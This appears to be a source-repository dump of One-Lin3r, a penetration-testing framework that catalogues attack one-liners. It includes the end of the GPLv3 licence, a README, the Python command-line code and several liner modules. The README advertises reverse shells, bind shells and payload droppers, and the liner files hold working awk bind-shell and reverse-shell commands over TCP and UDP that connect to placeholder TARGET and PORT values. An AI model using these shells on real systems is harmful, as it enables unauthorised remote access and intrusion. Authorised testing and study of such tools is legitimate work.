481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 | {one line to give the program's name and a brief idea of what it does.}
635 | Copyright (C) 2018 {name of author}
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | One-Lin3r Copyright (C) 2018 Karim shoair
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | graft one_lin3r/core
2 | graft screenshots
3 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # One-Lin3r  [](http://www.python.org/download/)  [](https://pepy.tech/project/one-lin3r)
2 |
3 | One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing (Windows, Linux, macOS or even BSD systems) or hacking generally with a lot of new features to make all of this fully automated (ex: you won't even need to copy the one-liners).
4 |
5 | ## Screenshots for version 2
6 |
7 |
8 |
9 |
10 |
11 | ### It consists of various one-liners types with various functions, some of them are:
12 |
13 | | One-liner function | What this function refers to |
14 | |:------------------:|-------------------------------------------------------------------------------|
15 | | Reverse Shell | Various methods and commands to give you a reverse shell. |
16 | | PrivEsc | Many commands to help in Enumeration and Privilege Escalation |
17 | | Bind Shell | Various methods and commands to give you a bind shell. |
18 | | Dropper | Many ways to download and execute various payload types with various methods. |
19 |
20 | ## Features
21 | - A lot of liners use with different purposes, **currently are more than 176 liner.**
22 | - The auto-complete feature that has been implemented in this framework is not the usual one you always see, here are some highlights:
23 |
24 | + It's designed to fix typos in typed commands to the most similar command with just one tab click so `seach` becomes `search` and so on, even if you typed any random word similar to an command in this framework.
25 | + For you lazy-ones out there like me, it can predict what liner you are trying to use by typing any part of it. For example if you typed `use capabilities` and clicked tab, it would be replaced with `use linux/bash/list_all_capabilities` and so on. I can see your smile, You are welcome!
26 | + If you typed any wrong command then pressed enter, the framework will tell you what is the nearest command to what you have typed which could be the one you really wanted.
27 | + Some less impressive things like auto-complete for variables after `set` command, auto-complete for liners after `use` and `info` commands and finally it converts all uppercase to lowercase automatically just-in-case you switched cases by mistake while typing.
28 | + Finally, you'll find your normal auto-completion things you were using before, like commands auto-completion and persistent history, etc...
29 |
30 | - Automation
31 | - You can automatically copy the liner you want to clipboard with command `copy ` instead of using `use ` and then copying it which saves a lot of time, of course, if you merged it with the following features.
32 | - As you may noticed, you can use a resource file from command-line arguments before starting the framework itself or send commands directly.
33 | - Inside the framework you can use `makerc` command like in Metasploit but this time it only saves the correct important commands.
34 | - There are `history` and `resource` commands so you don't need to exit the framework.
35 | - You can execute as many commands as you want at the same time by splitting them with semi-colon.
36 | + Searching for any liner here is so easy and accurate, you can search for a liner by its name, function, description, author who added the liner to the framework or even the liner itself.
37 |
38 |
39 | - You can add your own liners by [following these steps](https://github.com/D4Vinci/One-Lin3r/wiki) to create a liner as a python file. After that you can make a Pull request with it then it will be added in the framework and credited with your name of course :smile:.
40 | - The ability to reload the database if you added any liner without restarting the framework.
41 | - You can add any platform to the liners database just by making a folder in liners folder and creating a ".liner" file there.
42 | - More...
43 |
44 | >Note: The liners database is not too big but it will get bigger with updates and contributions.
45 |
46 | # Usage
47 |
48 | ## Command-line arguments
49 | ```
50 | usage: one-lin3r [-h] [-r R] [-x X] [-q]
51 |
52 | optional arguments:
53 | -h, --help show this help message and exit
54 | -r Execute a resource file (history file).
55 | -x Execute a specific command (use ; for multiples).
56 | -q Quiet mode (no banner).
57 | ```
58 |
59 | ## Framework commands
60 | ```
61 | Command Description
62 | -------- -------------
63 | help/? Show this help menu.
64 | list/show List all one-liners in the database.
65 | search (-h) [Keywords..] Search database for a specific liner by its name, author name or function.
66 | use Use an available one-liner.
67 | copy Use an available one-liner and copy it to clipboard automatically.
68 | info Get information about an available liner.
69 | set Sets a context-specific variable to a value to use while using one-liners.
70 | variables Prints all previously specified variables.
71 | banner Display banner.
72 | reload/refresh Reload the liners database.
73 | check Prints the core version and checks if you are up-to-date.
74 | history Display command-line most important history from the beginning.
75 | makerc Save command-line history to a file.
76 | resource Run the commands stored in a file
77 | os Execute a system command without closing the framework
78 | exit/quit Exit the framework
79 | `````
80 |
81 | ## Prerequisites before installing
82 | - Python 3.x.
83 | - Any OS, it should work on all but it's tested on Kali 2018+, Ubuntu 18+, Manjaro, Black Arch, Windows 10, Android Termux and Mac-OS 10.11
84 |
85 | ## Installing and running
86 |
87 | + Using pip (The best way to install on any OS):
88 | ```
89 | pip install one-lin3r
90 | one-lin3r -h
91 | ```
92 | + Using pacman on Black Arch or any arch-based with black Arch repos:
93 | ```
94 | sudo pacman -S one-lin3r
95 | ```
96 | - Installing it from GitHub:
97 | + For windows on cmd with administrator rights : (After downloading ZIP and unzip it)
98 | ```
99 | python -m pip install ./One-Lin3r-master --user
100 | one-lin3r -h
101 | ```
102 | + For Linux Debian-based distros. (Ex: Kali, Ubuntu..):
103 | ```
104 | git clone https://github.com/D4Vinci/One-Lin3r.git
105 | sudo apt install libncurses5-dev
106 | sudo pip3 install ./One-Lin3r --user
107 | one-lin3r -h
108 | ```
109 | + For the rest Linux distros.:
110 | ```
111 | git clone https://github.com/D4Vinci/One-Lin3r.git
112 | sudo pip3 install ./One-Lin3r --user
113 | one-lin3r -h
114 | ```
115 |
116 | ## Updating the framework or the database
117 | - If you installed it from pip do:
118 | ```
119 | pip install one-lin3r --upgrade
120 | ```
121 | - If you installed it from GitHub do:
122 | - On Linux while outside the directory
123 | ```
124 | cd One-Lin3r && git pull && cd ..
125 | pip3 install ./One-Lin3r --upgrade
126 | ```
127 | - On Windows if you don't have git installed, re-download the framework zipped!
128 |
129 | > Note: The liners are written as python modules, so it's considered as a part of the framework. So every new liner added to the framework, its version will get updated.
130 |
131 | ## Contact
132 | - [Twitter](https://twitter.com/D4Vinci1)
133 | - [Telegram](https://t.me/D4Vinci_0x)
134 |
135 | ## Donation
136 | If my work has been useful for you, feel free to thank me by buying me a coffee or more :)
137 |
138 | [](https://buymeacoffee.com/d4vinci)
139 |
140 | ## Disclaimer
141 | One-Lin3r is created to help in penetration testing and it's not responsible for any misuse or illegal purposes.
142 |
143 | Copying a code from this tool or using it in another tool is accepted as you mention where you got it from :smile:.
144 |
145 | > Pull requests are always welcomed :D
146 |
147 | ## Credits and references
148 | - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/)
149 | - [PowerSploit repo](https://github.com/PowerShellMafia/PowerSploit)
150 | - [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
151 |
--------------------------------------------------------------------------------
/one_lin3r/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/Cli.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Written by: Karim shoair - D4Vinci ( One-Lin3r )
3 | import os, sys, time, re, argparse
4 | from terminaltables import SingleTable as table
5 | import importlib,traceback,pyperclip
6 | from . import utils,db
7 | from .color import *
8 |
9 | liners = db.index_liners()
10 | all_keywords = ["banner","refresh","reload","search","list","show","use","info","history","makerc",
11 | "exit","quit","?","help","set","copy","variables","resource","os"]
12 | variables = {
13 | "TARGET":'',
14 | "PORT":'',
15 | "URL":'',
16 | "COMMAND":'',
17 | "FILE_PATH":'',
18 | "USERNAME":'',
19 | "PASSWORD":''
20 | }
21 |
22 | name = W+underline+"OneLiner"+end
23 | history = []
24 | debug = False
25 |
26 | # To use with search command
27 | Search_parser = argparse.ArgumentParser(prog="search",add_help=False)
28 | Search_parser.add_argument('keywords', nargs='*', default="", help='Search database for a specific liner by its name, author name or function.')
29 | Search_parser.add_argument('-h', action="store_true", help="Show this help message.") # I done that because print the normal help exits the framework
30 | Search_parser.add_argument('-f', action="store_true", help='Performs a full search in all liners information.')
31 | Search_parser.add_argument('-d', action="store_true", help='Performs a deep search like full search but with liners.')
32 | Search_parser.add_argument('-l', action="store_true", help='Search in liners only without including any info.')
33 | Search_parser.add_argument('-a', action="store_true", help='Search for liners that matches any keyword included.')
34 |
35 | def start(rc=False):
36 | help_msg = """
37 | Command Description
38 | -------- -------------
39 | help/? Show this help menu.
40 | list/show List all one-liners in the database.
41 | search (-h) [Keywords..] Search database for a specific liner by its name, author name or function.
42 | use Use an available one-liner.
43 | copy Use an available one-liner and copy it to clipboard automatically.
44 | info Get information about an available liner.
45 | set Sets a context-specific variable to a value to use while using one-liners.
46 | variables Prints all previously specified variables.
47 | banner Display banner.
48 | reload/refresh Reload the liners database.
49 | check Prints the core version and checks if you are up-to-date.
50 | history Display command-line most important history from the beginning.
51 | makerc Save command-line history to a file.
52 | resource Run the commands stored in a file
53 | os Execute a system command without closing the framework
54 | exit/quit Exit the framework"""
55 |
56 | #if os.name!="nt":
57 | # utils.Input_completer(all_keywords)
58 |
59 | while True:
60 | try:
61 | if rc:
62 | cmd = rc
63 | print("\n"+name+G+" > "+end+cmd)
64 | else:
65 | cmd = utils.getinput_autocompleted("\n"+name+G+" > "+end, all_keywords, variables.keys(), liners)
66 |
67 | cmd = cmd.strip()
68 | for c in cmd.split(';'):
69 | if c=="" or c[0]=="#":continue
70 | if len( cmd.split(";") ) > 1:
71 | print(G+" > "+end+ c)
72 | head = c.lower().split()[0]
73 | args = " ".join(c.split()[1:])
74 |
75 | if head in ["banner","history","makerc","quit","exit","?","help"]:
76 | if head=="banner":
77 | utils.banner(liners)
78 |
79 | if head=="history":
80 | n = -1
81 | for i in range( len(history) ):
82 | print( history[n] )
83 | n -= 1
84 |
85 | if head=="makerc":
86 | file_name = "history.txt"
87 | if args and len(args.split())>0:
88 | file_name = args.split()[0]
89 | f = open(file_name,"w")
90 | for line in history:
91 | f.write(line+"\n")
92 | f.close()
93 | status( "Command history saved to "+file_name )
94 |
95 | if head in ["help","?"]:
96 | print(help_msg)
97 |
98 | if head in ["exit","quit"]:
99 | exit(0)
100 | else:
101 | command_handler(c)
102 | except KeyboardInterrupt:
103 | print("")
104 | error("KeyboardInterrupt use exit command!")
105 | continue
106 | finally:
107 | if rc:
108 | time.sleep(0.1)
109 | break
110 |
111 | #A function for every command (helpful in the future)
112 | def command_handler(c):
113 | #parsing a command and pass to its function
114 | command = c.lower().split()[0]
115 | args = " ".join(c.split()[1:])
116 | try:
117 | handler = globals()["command_{}".format(command)]
118 | handler(args)
119 | history.append(c)
120 | except Exception as e:
121 | if command not in all_keywords:
122 | error( command + " is not recognized as an internal command !")
123 | #To check for the wanted command on typos
124 | wanted = utils.grab_wanted(command,all_keywords)
125 | if len(wanted)>0:
126 | status( "Maybe you meant : " + wanted )
127 | else:
128 | error( "Error in executing command "+ command )
129 | if debug:
130 | print(e)
131 | traceback.print_exc()
132 | status( "Type help or ? to learn more..")
133 |
134 | def command_search(text=False):
135 | try:
136 | cmd = Search_parser.parse_args(text.split())
137 | except:
138 | cmd = Search_parser.parse_args("") # Fuck you argparse, next time I will use more flexible module like getopt globally
139 | # I done this because any error argparse gives is printed and it exit the framework but now no
140 |
141 | if cmd.h or not cmd.keywords:
142 | # error("You must enter a keyword to search for !")
143 | print(Search_parser.format_help(), end="")
144 | return
145 |
146 | else:
147 | cols = [end+W+"#", end+B+Bold+"Name", end+B+Bold+"Function"+end]
148 | Columns = []
149 | text = [i.lower() for i in cmd.keywords]
150 | n = 1
151 | for p in liners:
152 | if cmd.d:
153 | info = db.grab(p)
154 | full_text = " ".join([p, info.author, info.description, info.function, info.liner]).lower()
155 | elif cmd.f:
156 | info = db.grab(p)
157 | full_text = " ".join([p, info.author, info.description, info.function]).lower()
158 | elif cmd.l:
159 | info = db.grab(p)
160 | full_text = info.liner.lower()
161 | else:
162 | info = db.grab(p)
163 | full_text = " ".join([p, info.author, info.function]).lower()
164 |
165 | if len(text)==1 and text[0] in full_text:
166 | Columns.append([end+W+str(n).ljust(3," "), end+G+p+end ,function_colorize(info.function)])
167 | n+=1
168 | elif len(text)>1:
169 | result = []
170 | for word in text:
171 | if word in full_text:
172 | result.append(True)
173 | else:
174 | if not cmd.a:
175 | result.append(False)
176 | break
177 | else:
178 | pass
179 | if all(result) or (" ".join(text) in full_text):
180 | Columns.append([end+W+str(n).ljust(3," "), end+G+p+end ,function_colorize(info.function)])
181 | n+=1
182 | if not Columns:
183 | error("Didn't find a liner matches the entered keywords!")
184 | else:
185 | utils.create_table(cols,Columns)
186 |
187 | def command_list(text=False):
188 | cols = [end+W+"#", end+B+Bold+"Name", end+B+Bold+"Function"+end]
189 | Columns = []
190 | text = text.lower()
191 | n = 1
192 | for p in liners:
193 | info = db.grab(p)
194 | Columns.append([end+W+str(n).ljust(3," "), end+G+p+end ,function_colorize(info.function)])
195 | n+=1
196 | utils.create_table(cols,Columns)
197 |
198 | def command_show(text=False):
199 | command_list(text)
200 |
201 | def command_set(text=False):
202 | if not text or len(text.split())<2:
203 | error("Command syntax is incorrect!")
204 | else:
205 | option, value = text.split()[:2]
206 | global variables
207 | variables[option.upper()] = value
208 | status("Variable %(option)s set to %(value)s"%locals()) # Yeah, looks awesome when using locals :D
209 |
210 | def command_variables(text=False):
211 | if len(variables.keys())==0:
212 | error("No variables set yet!")
213 | else:
214 | cols = [end+W+"#", end+B+Bold+"Name", end+B+Bold+"Value"+end]
215 | Columns = []
216 | n = 1
217 | for key, value in variables.items():
218 | if not variables[key]:
219 | Columns.append([end+W+str(n), end+G+key+end, R+"None"+end])
220 | else:
221 | Columns.append([end+W+str(n), end+G+key+end, M+value+end])
222 | n+=1
223 | utils.create_table(cols,Columns)
224 |
225 | def command_use(p=False,auto=False):
226 | if not p:
227 | error("You must enter a liner to use !")
228 | if auto:
229 | return False
230 | else:
231 | p = p.lower()
232 | if p.lower() in liners:
233 | info = db.grab(p)
234 | liner = info.liner
235 | for variable in variables.keys():
236 | if variables[variable]:
237 | liner = liner.replace(variable.upper(),variables[variable])
238 | status(B+"Your liner is: "+end+M+liner)
239 | if auto:
240 | return liner
241 | # Modern problems requires modern solutions :D
242 | else:
243 | error(p+" liner doesn't exist !")
244 | if auto:
245 | return False
246 |
247 | def command_copy(p=False):
248 | ok = command_use(p,True)
249 | if ok:
250 | pyperclip.copy(ok)
251 | status("Liner copied to clipboard successfully!")
252 |
253 | def command_info(p=False):
254 | if not p:
255 | error("You must enter a liner to get its information !")
256 | else:
257 | liner = p.lower()
258 | if liner in liners:
259 | info = db.grab(liner)
260 | all_variables = []
261 | for variable in variables.keys():
262 | if variable.upper() in info.liner:
263 | all_variables.append(variable)
264 | status( B+"Liner added by "+G+"=> "+M+info.author+end )
265 | status( B+"Function "+G+"=> "+M+function_colorize(info.function)+end )
266 | status( B+"Variables used "+G+"=> "+(M+(B+", "+end+M).join(all_variables) if all_variables else R+"None")+end )
267 | status( B+"Description "+G+"=> "+M+info.description+end )
268 | else:
269 | error(p+" liner doesn't exist !")
270 |
271 | def command_reload(text=False):
272 | global liners
273 | liners = db.index_liners()
274 | status("Database updated! ( {} liners loaded )".format( len(liners) ) )
275 |
276 | def command_refresh(text=False):
277 | command_reload(text)
278 |
279 | def command_check(text=False):
280 | status("Checking...")
281 | with open(utils.get_corefilepath("resources","version.txt")) as f:
282 | v = f.read().strip()
283 | status("Core version: "+Y+v+end)
284 | lol = utils.check_version()
285 | if lol and lol==v:
286 | status("You are up-to-date!")
287 | elif not lol:
288 | error("Error in connection! Check your internet!")
289 | else:
290 | #TODO: Auto update
291 | error("The latest core database is "+lol)
292 | status("Consider updating the framework ASAP for new features and liners!")
293 |
294 | def command_resource(p=False):
295 | try:
296 | with open(p,"r") as f:
297 | cmds = f.readlines()
298 | for cmd in cmds:
299 | start(cmd.strip())
300 | except:
301 | if not p:
302 | error("Enter a resource file to read!")
303 | else:
304 | if debug:
305 | print(" Input -> "+str(p))
306 | print(" Dir -> "+str(os.getcwd()))
307 | error("Can't open the specifed resource file!")
308 | return
309 |
310 | def command_os(text=False):
311 | if text:
312 | os.system(text)
313 | else:
314 | error("You must enter a command to execute !")
315 | return
316 |
317 | def command_debug(text=False):
318 | global debug
319 | debug = (debug!=True)
320 | status("Debug mode is turned "+{True:"On",False:"Off"}[debug])
321 |
--------------------------------------------------------------------------------
/one_lin3r/core/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/one_lin3r/core/color.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #Written by: Karim shoair - D4Vinci ( One-Lin3r )
3 | import os,sys
4 |
5 | #green - yellow - blue - red - white - magenta - cyan - reset
6 | G, Y, B, R, W, M, C, end, Bold, underline = '\033[32m', '\033[93m', '\033[94m', '\033[31m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m', "\033[1m", "\033[4m"
7 | if os.name=="nt":
8 | try:
9 | import win_unicode_console , colorama
10 | # win_unicode_console.enable() # Removed due to some unicode confilct on some windows devices
11 | colorama.init()
12 | except:
13 | G = Y = B = R = W = M = C = end = Bold = underline = ''
14 |
15 | #Colors available: green - yellow - blue - red - white - magenta - cyan - reset
16 | colored_functions = {
17 | "reverse shell":end+M+"Reverse Shell"+end,
18 | "bind shell":end+B+"Bind Shell"+end,
19 | "Dropper":end+R+"Dropper"+end,
20 | "Loader":end+Y+"Loader"+end,
21 | "Nmap script":end+W+"Nmap script"+end,
22 | "PrivEsc":end+C+"PrivEsc"+end,
23 | "Execute":end+G+"Execute"+end
24 | }
25 |
26 | def function_colorize(text):
27 | for key,value in colored_functions.items():
28 | if key.lower() in text.lower():
29 | text = text.lower().replace(key.lower(),value)
30 | return text
31 |
32 | def status(text):
33 | print( C+"[+] "+G+text+end )
34 |
35 | def error(text):
36 | print( M+"[!] "+R+text+end )
37 |
--------------------------------------------------------------------------------
/one_lin3r/core/db.py:
--------------------------------------------------------------------------------
1 | #Written by: Karim shoair - D4Vinci ( One-Lin3r )
2 | import os
3 | try:
4 | import importlib
5 | except:
6 | import imp as importlib
7 | from . import utils
8 |
9 | def index_liners():
10 | # Return list of all liners
11 | # TODO: change liners path
12 | liners = []
13 | pth = utils.get_corefilepath("liners", "")
14 | for path,_, files in os.walk( pth ):
15 | for name in [f for f in files if f.endswith(".py")]:
16 | liners.append( os.path.join(path, name) )
17 | liners = [ x for x in liners if ("__" not in x and x.endswith('.py')) ]
18 | liners = utils.my_map( lambda x:x.replace(pth,""),liners)
19 | liners = utils.my_map( lambda x:x.replace(".py","").replace("\\","/"), liners)
20 | return liners
21 |
22 | def grab(liner):
23 | liner_exec = importlib.import_module( ".core.liners."+utils.pythonize(liner), package='one_lin3r' )
24 | importlib.reload(liner_exec)
25 | return getattr(liner_exec, 'info')
26 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/example:
--------------------------------------------------------------------------------
1 | #Written by: Karim shoair - D4Vinci ( One-Lin3r )
2 | #####
3 | # This file shows how an liner should be written to be used in One-Lin3r
4 | #####
5 |
6 | class info:
7 | author = "Here you put your name of course"
8 | description = "A brief description of how the liner works without explaining a lot like what I did."
9 | function = "The main functions this liner could do, each function described in one word or two like (reverse shell, bind shell, PrivEsc) separated with ',' of course if it's more than one."
10 | liner = "The liner itself with putting the variables (or the data to change) in uppercase so the user can set it from the framework."
11 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/awk/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/awk/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/awk/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple bind shell using awk."
4 | function = "bind shell"
5 | liner = """VAR1=PORT;awk -v VAR2="$VAR1" 'BEGIN{VAR3=\"/inet/tcp/"VAR2"/0/0\";for(;VAR3|&getline VAR4;close(VAR4))while(VAR4|getline)print|&VAR3;close(VAR3)}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/awk/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple reverse shell using awk."
4 | function = "reverse shell"
5 | liner = """VAR1=PORT;awk -v VAR2="$VAR1" 'BEGIN{VAR3="/inet/tcp/0/TARGET/"VAR2;while(NUM1){do{printf "shell>"|&VAR3;VAR3|& getline VAR4;if(VAR4){while((VAR4|& getline)>0)print $0|&VAR3;close(VAR4);}}while(VAR4!="exit")close(VAR3);break}}' /dev/null"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/awk/reverse_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple reverse shell using awk."
4 | function = "reverse shell"
5 | liner = """VAR1=PORT;awk -v VAR2="$VAR1" 'BEGIN{VAR3="/inet/udp/0/TARGET/"VAR2;while(NUM1){do{printf "shell>"|&VAR3;VAR3|& getline VAR4;if(VAR4){while((VAR4|& getline)>0)print $0|&VAR3;close(VAR4);}}while(VAR4!="exit")close(VAR3);break}}' /dev/null"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/linux/bash/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/linux/bash/__init__.py
--------------------------------------------------------------------------------
